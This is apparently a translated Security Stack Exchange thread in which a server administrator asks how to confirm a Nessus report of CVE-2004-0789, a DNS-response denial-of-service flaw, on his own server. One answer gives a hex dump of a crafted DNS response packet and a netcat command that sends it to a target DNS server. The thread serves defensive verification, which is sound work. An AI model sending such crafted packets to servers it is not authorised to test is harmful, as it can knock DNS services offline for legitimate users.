¿Cómo probar CVE-2004-0789 Denegación de servicio de respuesta de DNS de múltiples proveedores?

Navega tus respuestas
4

Uso Nessus para verificar vulnerabilidades en mi servidor web. Es un servidor de Windows. Nessus informa que este servidor en particular tiene una vulnerabilidad CVE-2004-0789.

Aquí está la descripción de Nessus: 

The remote DNS server is vulnerable to a denial of service attack because it replies to DNS responses.
An attacker could exploit this vulnerability by spoofing a DNS packet so that it appears to come from 127.0.0.1 and
make the remote DNS server enter into an infinite loop, therefore denying service to legitimate users.

¿Cómo verificar si esta vulnerabilidad realmente existe en mi servidor? ¿Hay alguna prueba de concepto sobre esto?

[ACTUALIZACIÓN: algunas capturas de pantalla del informe de Nessus]

    
pregunta christofersimbar 16.08.2016 - 16:42
fuente

2 respuestas

2

La prueba básica de Nessus parece ser replicable usando un editor hexadecimal para crear un archivo de respuesta (usé el ejemplo de Google de Nessus) y luego enviando esos datos al servidor DNS objetivo a través de netcat:

entonces: 

 od -ah dns-response-dos.txt

0000000   '   x enq etx nul soh nul nul nul nul nul nul etx   w   w   w

f860    8385    0100    0000    0000    0000    7703    7777

0000020 ack   g   o   o   g   l   e etx   c   o   m nul nul dle nul soh

6706    6f6f    6c67    0365    6f63    006d    1000    0100

0000040

... y luego: 

cat dns-response-dos.txt | nc -u "target dns server"  53 

'���wwwgooglecom^C

... produce una respuesta.

Los datos de basura no producen respuesta

    
respondido por el jretief 28.12.2017 - 23:12
fuente
1

Un extracto de una página de seguridad de proveedores habla sobre cómo es un problema y cómo funciona

La razón principal por la que el código es inseguro es porque el código en cuestión tiene resultados indefinidos cuando se ingresan datos que se encuentran en una forma diferente a la que esperaba el autor del código. El caso más simple de esto es el desbordamiento de búfer, donde un programa recibe una cadena mucho más larga de lo que el programa fue diseñado para manejar. Otro ejemplo es el error "veneno de caché" que tenían las versiones antiguas de otra implementación de DNS. Con este error, era un asunto trivial decirle al servidor DNS que, por ejemplo, www.yahoo.com tenía una dirección IP de 10.69.69.69, lo que realmente apunta a algún sitio de mala calidad que instala spyware. ¿Por qué existió este error? Debido a que los autores originales de este servidor no esperaban que los servidores remotos entregaran deliberadamente direcciones IP incorrectas.

    
respondido por el Nick Mckenna 16.08.2016 - 20:43
fuente

Lea otras preguntas en las etiquetas

¿Qué tan seguro es Slack para la información confidencial en comparación con otras alternativas como Mattermost? [duplicar] ¿Se puede convertir un .DER en un .PFX / .P12?